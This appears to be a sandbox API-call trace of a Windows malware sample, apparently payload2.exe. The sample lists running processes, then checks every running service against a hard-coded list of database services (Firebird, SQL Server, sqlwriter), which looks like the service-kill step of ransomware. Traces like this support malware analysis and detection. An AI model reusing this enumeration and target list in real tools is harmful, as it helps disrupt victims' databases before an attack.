	[0202.600] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.600] lstrlenW (lpString="svchost.exe") returned 11
	[0202.601] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.601] lstrlenW (lpString="svchost.exe") returned 11
	[0202.601] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.601] lstrlenW (lpString="svchost.exe") returned 11
	[0202.602] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.602] lstrlenW (lpString="svchost.exe") returned 11
	[0202.603] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.603] lstrlenW (lpString="svchost.exe") returned 11
	[0202.603] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.604] lstrlenW (lpString="svchost.exe") returned 11
	[0202.604] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.604] lstrlenW (lpString="svchost.exe") returned 11
	[0202.604] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.605] lstrlenW (lpString="svchost.exe") returned 11
	[0202.605] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.605] lstrlenW (lpString="svchost.exe") returned 11
	[0202.605] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0202.606] lstrlenW (lpString="spoolsv.exe") returned 11
	[0202.606] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.606] lstrlenW (lpString="svchost.exe") returned 11
	[0202.606] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0202.607] lstrlenW (lpString="audiodg.exe") returned 11
	[0202.607] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0202.607] lstrlenW (lpString="sihost.exe") returned 10
	[0202.607] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.608] lstrlenW (lpString="svchost.exe") returned 11
	[0202.608] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0202.608] lstrlenW (lpString="taskhostw.exe") returned 13
	[0202.609] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0202.609] lstrlenW (lpString="msoia.exe") returned 9
	[0202.609] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0202.609] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0202.610] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0202.610] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0202.610] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0202.611] lstrlenW (lpString="Memory Compression") returned 18
	[0202.611] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0202.611] lstrlenW (lpString="explorer.exe") returned 12
	[0202.611] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0202.612] lstrlenW (lpString="SearchUI.exe") returned 12
	[0202.612] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0202.612] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0202.612] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0202.613] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0202.613] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0202.613] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0202.613] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0202.614] lstrlenW (lpString="payload2.exe") returned 12
	[0202.614] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0202.614] lstrlenW (lpString="dllhost.exe") returned 11
	[0202.614] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0202.615] lstrlenW (lpString="dllhost.exe") returned 11
	[0202.615] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0202.615] lstrlenW (lpString="payload2.exe") returned 12
	[0202.615] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0
	[0202.616] CloseHandle (hObject=0x2cc) returned 1
	[0202.616] Sleep (dwMilliseconds=0x1f4) 
	[0203.536] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6683f8
	[0203.537] EnumServicesStatusExW (in: hSCManager=0x6683f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0203.538] GetLastError () returned 0xea
	[0203.538] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x66b930
	[0203.538] EnumServicesStatusExW (in: hSCManager=0x6683f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x66b930, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x66b930, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0203.539] CloseServiceHandle (hSCObject=0x6683f8) returned 1
	[0203.539] lstrlenW (lpString="Appinfo") returned 7
	[0203.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0203.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0203.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0203.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0203.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0203.539] lstrlenW (lpString="AppXSvc") returned 7
	[0203.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0203.540] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0203.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0203.540] lstrlenW (lpString="Audiosrv") returned 8
	[0203.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0203.540] lstrlenW (lpString="BFE") returned 3
	[0203.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0203.540] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0203.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0203.540] lstrlenW (lpString="CDPSvc") returned 6
	[0203.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0203.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0203.541] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0203.541] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0203.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0203.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0203.541] lstrlenW (lpString="CryptSvc") returned 8
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0203.541] lstrlenW (lpString="DcomLaunch") returned 10
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0203.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0203.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0203.541] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0203.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0203.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0203.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0203.541] lstrlenW (lpString="Dhcp") returned 4
	[0203.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0203.542] lstrlenW (lpString="Dnscache") returned 8
	[0203.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0203.542] lstrlenW (lpString="DPS") returned 3
	[0203.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0203.542] lstrlenW (lpString="DusmSvc") returned 7
	[0203.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0203.542] lstrlenW (lpString="EventLog") returned 8
	[0203.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0203.542] lstrlenW (lpString="EventSystem") returned 11
	[0203.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0203.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0203.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0203.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0203.543] lstrlenW (lpString="FontCache") returned 9
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0203.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0203.543] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0203.543] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0203.543] lstrlenW (lpString="gpsvc") returned 5
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0203.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0203.543] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0203.543] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0203.543] lstrlenW (lpString="iphlpsvc") returned 8
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0203.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0203.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0203.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0203.543] lstrlenW (lpString="KeyIso") returned 6
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0203.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0203.543] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0203.543] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0203.543] lstrlenW (lpString="LanmanServer") returned 12
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0203.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0203.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0203.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0203.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0203.543] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0203.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0203.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0203.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0203.544] lstrlenW (lpString="lfsvc") returned 5
	[0203.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0203.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0203.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0203.544] lstrlenW (lpString="lmhosts") returned 7
	[0203.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0203.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0203.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0203.544] lstrlenW (lpString="LSM") returned 3
	[0203.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0203.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0203.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0203.544] lstrlenW (lpString="MpsSvc") returned 6
	[0203.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0203.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0203.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0203.544] lstrlenW (lpString="NcbService") returned 10
	[0203.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0203.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0203.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0203.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0203.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0203.545] lstrlenW (lpString="netprofm") returned 8
	[0203.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0203.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
